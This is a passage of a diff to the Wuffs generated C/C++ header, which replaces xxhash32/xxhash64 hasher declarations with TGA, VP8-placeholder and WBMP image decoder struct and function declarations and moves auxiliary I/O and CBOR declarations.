f_frame_config_io_position; ++ wuffs_base__pixel_swizzler f_swizzler; ++ ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; + } private_impl; + ++ struct { ++ uint8_t f_dst_palette[1024]; ++ uint8_t f_src_palette[1024]; ++ uint8_t f_scratch[4]; ++ ++ struct { ++ uint32_t v_i; ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t v_dst_bytes_per_pixel; ++ uint32_t v_dst_x; ++ uint32_t v_dst_y; ++ uint64_t v_mark; ++ uint32_t v_num_pixels32; ++ uint32_t v_lit_length; ++ uint32_t v_run_length; ++ uint64_t v_num_dst_bytes; ++ uint64_t scratch; ++ } s_do_decode_frame; ++ } private_data; ++ + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_xxhash32__hasher__alloc()); ++ return unique_ptr(wuffs_tga__decoder__alloc()); + } + +- static inline wuffs_base__hasher_u32::unique_ptr +- alloc_as__wuffs_base__hasher_u32() { +- return wuffs_base__hasher_u32::unique_ptr( +- wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32()); ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12594,10 +13597,10 @@ struct wuffs_xxhash32__hasher__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_xxhash32__hasher__struct() = delete; +- wuffs_xxhash32__hasher__struct(const wuffs_xxhash32__hasher__struct&) = delete; +- wuffs_xxhash32__hasher__struct& operator=( +- const wuffs_xxhash32__hasher__struct&) = delete; ++ wuffs_tga__decoder__struct() = delete; ++ wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; ++ wuffs_tga__decoder__struct& operator=( ++ const wuffs_tga__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12617,53 +13620,107 @@ struct wuffs_xxhash32__hasher__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_xxhash32__hasher__initialize( ++ return wuffs_tga__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__hasher_u32* +- upcast_as__wuffs_base__hasher_u32() { +- return (wuffs_base__hasher_u32*)this; ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_xxhash32__hasher__get_quirk(this, a_key); ++ return wuffs_tga__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_xxhash32__hasher__set_quirk(this, a_key, a_value); ++ return wuffs_tga__decoder__set_quirk(this, a_key, a_value); + } + +- inline wuffs_base__empty_struct +- update( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash32__hasher__update(this, a_x); ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); + } + +- inline uint32_t +- update_u32( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash32__hasher__update_u32(this, a_x); ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } ++ ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_tga__decoder__frame_dirty_rect(this); + } + + inline uint32_t +- checksum_u32() const { +- return wuffs_xxhash32__hasher__checksum_u32(this); ++ num_animation_loops() const { ++ return wuffs_tga__decoder__num_animation_loops(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_tga__decoder__num_decoded_frame_configs(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_tga__decoder__num_decoded_frames(this); ++ } ++ ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); ++ } ++ ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } ++ ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_tga__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_xxhash32__hasher__struct ++}; // struct wuffs_tga__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +@@ -12671,7 +13728,7 @@ struct wuffs_xxhash32__hasher__struct { + + // ---------------- Struct Declarations + +-typedef struct wuffs_xxhash64__hasher__struct wuffs_xxhash64__hasher; ++typedef struct wuffs_vp8__placeholder__struct wuffs_vp8__placeholder; + + #ifdef __cplusplus + extern "C" { +@@ -12686,14 +13743,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash64__hasher__initialize( +- wuffs_xxhash64__hasher* self, ++wuffs_vp8__placeholder__initialize( ++ wuffs_vp8__placeholder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_xxhash64__hasher(void); ++sizeof__wuffs_vp8__placeholder(void); + + // ---------------- Allocs + +@@ -12703,54 +13760,13 @@ sizeof__wuffs_xxhash64__hasher(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_xxhash64__hasher* +-wuffs_xxhash64__hasher__alloc(void); +- +-static inline wuffs_base__hasher_u64* +-wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { +- return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); +-} ++wuffs_vp8__placeholder* ++wuffs_vp8__placeholder__alloc(void); + + // ---------------- Upcasts + +-static inline wuffs_base__hasher_u64* +-wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( +- wuffs_xxhash64__hasher* p) { +- return (wuffs_base__hasher_u64*)p; +-} +- + // ---------------- Public Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__get_quirk( +- const wuffs_xxhash64__hasher* self, +- uint32_t a_key); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash64__hasher__set_quirk( +- wuffs_xxhash64__hasher* self, +- uint32_t a_key, +- uint64_t a_value); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash64__hasher__update( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__update_u64( +- wuffs_xxhash64__hasher* self, +- wuffs_base__slice_u8 a_x); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash64__hasher__checksum_u64( +- const wuffs_xxhash64__hasher* self); +- + #ifdef __cplusplus + } // extern "C" + #endif +@@ -12764,7 +13780,7 @@ wuffs_xxhash64__hasher__checksum_u64( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_xxhash64__hasher__struct { ++struct wuffs_vp8__placeholder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12775,37 +13791,20 @@ struct wuffs_xxhash64__hasher__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; + wuffs_base__vtable null_vtable; + +- uint64_t f_length_modulo_u64; +- bool f_length_overflows_u64; +- uint8_t f_padding0; +- uint8_t f_padding1; +- uint8_t f_padding2; +- uint32_t f_buf_len; +- uint8_t f_buf_data[32]; +- uint64_t f_v0; +- uint64_t f_v1; +- uint64_t f_v2; +- uint64_t f_v3; ++ uint32_t f_placeholder; + } private_impl; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_xxhash64__hasher__alloc()); +- } +- +- static inline wuffs_base__hasher_u64::unique_ptr +- alloc_as__wuffs_base__hasher_u64() { +- return wuffs_base__hasher_u64::unique_ptr( +- wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); ++ return unique_ptr(wuffs_vp8__placeholder__alloc()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12821,10 +13820,10 @@ struct wuffs_xxhash64__hasher__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_xxhash64__hasher__struct() = delete; +- wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; +- wuffs_xxhash64__hasher__struct& operator=( +- const wuffs_xxhash64__hasher__struct&) = delete; ++ wuffs_vp8__placeholder__struct() = delete; ++ wuffs_vp8__placeholder__struct(const wuffs_vp8__placeholder__struct&) = delete; ++ wuffs_vp8__placeholder__struct& operator=( ++ const wuffs_vp8__placeholder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12844,9372 +13843,9377 @@ struct wuffs_xxhash64__hasher__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_xxhash64__hasher__initialize( ++ return wuffs_vp8__placeholder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__hasher_u64* +- upcast_as__wuffs_base__hasher_u64() { +- return (wuffs_base__hasher_u64*)this; +- } ++#endif // __cplusplus ++}; // struct wuffs_vp8__placeholder__struct + +- inline uint64_t +- get_quirk( +- uint32_t a_key) const { +- return wuffs_xxhash64__hasher__get_quirk(this, a_key); +- } ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- inline wuffs_base__status +- set_quirk( +- uint32_t a_key, +- uint64_t a_value) { +- return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); +- } ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__VP8) || defined(WUFFS_NONMONOLITHIC) + +- inline wuffs_base__empty_struct +- update( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash64__hasher__update(this, a_x); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) + +- inline uint64_t +- update_u64( +- wuffs_base__slice_u8 a_x) { +- return wuffs_xxhash64__hasher__update_u64(this, a_x); +- } ++// ---------------- Status Codes + +- inline uint64_t +- checksum_u64() const { +- return wuffs_xxhash64__hasher__checksum_u64(this); +- } ++extern const char wuffs_wbmp__error__bad_header[]; ++extern const char wuffs_wbmp__error__truncated_input[]; + +-#endif // __cplusplus +-}; // struct wuffs_xxhash64__hasher__struct ++// ---------------- Public Consts + +-#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) ++// ---------------- Struct Declarations + +-#if defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; + +-// ---------------- Auxiliary - Base ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// Auxiliary code is discussed at +-// https://github.com/google/wuffs/blob/main/doc/note/auxiliary-code.md ++// ---------------- Public Initializer Prototypes + +-#include ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-#include ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_wbmp__decoder__initialize( ++ wuffs_wbmp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-namespace wuffs_aux { ++size_t ++sizeof__wuffs_wbmp__decoder(void); + +-using IOBuffer = wuffs_base__io_buffer; ++// ---------------- Allocs + +-// MemOwner represents ownership of some memory. Dynamically allocated memory +-// (e.g. from malloc or new) is typically paired with free or delete, invoked +-// when the std::unique_ptr is destroyed. Statically allocated memory might use +-// MemOwner(nullptr, &free), even if that statically allocated memory is not +-// nullptr, since calling free(nullptr) is a no-op. +-using MemOwner = std::unique_ptr; ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-namespace sync_io { ++wuffs_wbmp__decoder* ++wuffs_wbmp__decoder__alloc(void); + +-// -------- ++static inline wuffs_base__image_decoder* ++wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); ++} + +-// DynIOBuffer is an IOBuffer that is backed by a dynamically sized byte array. +-// It owns that backing array and will free it in its destructor. +-// +-// The array size can be explicitly extended (by calling the grow method) but, +-// unlike a C++ std::vector, there is no implicit extension (e.g. by calling +-// std::vector::insert) and its maximum size is capped by the max_incl +-// constructor argument. +-// +-// It contains an IOBuffer-typed field whose reader side provides access to +-// previously written bytes and whose writer side provides access to the +-// allocated but not-yet-written-to slack space. For Go programmers, this slack +-// space is roughly analogous to the s[len(s):cap(s)] space of a slice s. +-class DynIOBuffer { +- public: +- enum GrowResult { +- OK = 0, +- FailedMaxInclExceeded = 1, +- FailedOutOfMemory = 2, +- }; ++// ---------------- Upcasts + +- // m_buf holds the dynamically sized byte array and its read/write indexes: +- // - m_buf.meta.wi is roughly analogous to a Go slice's length. +- // - m_buf.data.len is roughly analogous to a Go slice's capacity. It is +- // also equal to the m_buf.data.ptr malloc/realloc size. +- // +- // Users should not modify the m_buf.data.ptr or m_buf.data.len fields (as +- // they are conceptually private to this class), but they can modify the +- // bytes referenced by that pointer-length pair (e.g. compactions). +- IOBuffer m_buf; ++static inline wuffs_base__image_decoder* ++wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_wbmp__decoder* p) { ++ return (wuffs_base__image_decoder*)p; ++} + +- // m_max_incl is an inclusive upper bound on the backing array size. +- const uint64_t m_max_incl; ++// ---------------- Public Function Prototypes + +- // Constructor and destructor. +- explicit DynIOBuffer(uint64_t max_incl); +- ~DynIOBuffer(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__get_quirk( ++ const wuffs_wbmp__decoder* self, ++ uint32_t a_key); + +- // Drop frees the byte array and resets m_buf. The DynIOBuffer can still be +- // used after a drop call. It just restarts from zero. +- void drop(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__set_quirk( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +- // grow ensures that the byte array size is at least min_incl and at most +- // max_incl. It returns FailedMaxInclExceeded if that would require +- // allocating more than max_incl bytes, including the case where (min_incl > +- // max_incl). It returns FailedOutOfMemory if memory allocation failed. +- GrowResult grow(uint64_t min_incl); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- private: +- // Delete the copy and assign constructors. +- DynIOBuffer(const DynIOBuffer&) = delete; +- DynIOBuffer& operator=(const DynIOBuffer&) = delete; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_wbmp__decoder__frame_dirty_rect( ++ const wuffs_wbmp__decoder* self); + +-class Input { +- public: +- virtual ~Input(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_wbmp__decoder__num_animation_loops( ++ const wuffs_wbmp__decoder* self); + +- virtual IOBuffer* BringsItsOwnIOBuffer(); +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length) = 0; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__num_decoded_frame_configs( ++ const wuffs_wbmp__decoder* self); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__num_decoded_frames( ++ const wuffs_wbmp__decoder* self); + +-// FileInput is an Input that reads from a file source. +-// +-// It does not take responsibility for closing the file when done. +-class FileInput : public Input { +- public: +- FileInput(FILE* f); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__restart_frame( ++ wuffs_wbmp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); + +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_wbmp__decoder__set_report_metadata( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); + +- private: +- FILE* m_f; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__tell_me_more( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); + +- // Delete the copy and assign constructors. +- FileInput(const FileInput&) = delete; +- FileInput& operator=(const FileInput&) = delete; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_wbmp__decoder__workbuf_len( ++ const wuffs_wbmp__decoder* self); + +-// -------- ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-// MemoryInput is an Input that reads from an in-memory source. ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. + // +-// It does not take responsibility for freeing the memory when done. +-class MemoryInput : public Input { +- public: +- MemoryInput(const char* ptr, size_t len); +- MemoryInput(const uint8_t* ptr, size_t len); ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- virtual IOBuffer* BringsItsOwnIOBuffer(); +- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- private: +- IOBuffer m_io; ++struct wuffs_wbmp__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +- // Delete the copy and assign constructors. +- MemoryInput(const MemoryInput&) = delete; +- MemoryInput& operator=(const MemoryInput&) = delete; +-}; ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable null_vtable; + +-// -------- ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint64_t f_frame_config_io_position; ++ wuffs_base__pixel_swizzler f_swizzler; + +-} // namespace sync_io ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ } private_impl; + +-} // namespace wuffs_aux ++ struct { ++ struct { ++ uint32_t v_i; ++ uint32_t v_p; ++ } s_do_decode_image_config; ++ struct { ++ uint64_t v_dst_bytes_per_pixel; ++ uint32_t v_dst_x; ++ uint32_t v_dst_y; ++ uint8_t v_src[1]; ++ uint8_t v_c8; ++ } s_do_decode_frame; ++ } private_data; + +-// ---------------- Auxiliary - CBOR ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; + +-namespace wuffs_aux { ++ // On failure, the alloc_etc functions return nullptr. They don't throw. + +-struct DecodeCborResult { +- DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_wbmp__decoder__alloc()); ++ } + +- std::string error_message; +- uint64_t cursor_position; +-}; ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-class DecodeCborCallbacks { +- public: +- virtual ~DecodeCborCallbacks(); ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_wbmp__decoder__struct() = delete; ++ wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; ++ wuffs_wbmp__decoder__struct& operator=( ++ const wuffs_wbmp__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +- // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +- virtual std::string AppendNull() = 0; +- virtual std::string AppendUndefined() = 0; +- virtual std::string AppendBool(bool val) = 0; +- virtual std::string AppendF64(double val) = 0; +- virtual std::string AppendI64(int64_t val) = 0; +- virtual std::string AppendU64(uint64_t val) = 0; +- virtual std::string AppendByteString(std::string&& val) = 0; +- virtual std::string AppendTextString(std::string&& val) = 0; +- virtual std::string AppendMinus1MinusX(uint64_t val) = 0; +- virtual std::string AppendCborSimpleValue(uint8_t val) = 0; +- virtual std::string AppendCborTag(uint64_t val) = 0; ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_wbmp__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } + +- // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR +- // maps (dictionaries). +- // +- // The flags bits combine exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT +- // and exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } + +- virtual std::string Push(uint32_t flags) = 0; +- virtual std::string Pop(uint32_t flags) = 0; ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_wbmp__decoder__get_quirk(this, a_key); ++ } + +- // Done is always the last Callback method called by DecodeCbor, whether or +- // not parsing the input as CBOR encountered an error. Even when successful, +- // trailing data may remain in input and buffer. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeCbor may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op. +- virtual void // +- Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); +-}; ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); ++ } + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); ++ } + +-// DecodeCborArgQuirks wraps an optional argument to DecodeCbor. +-struct DecodeCborArgQuirks { +- explicit DecodeCborArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeCborArgQuirks(uint32_t* ptr, size_t len); ++ inline 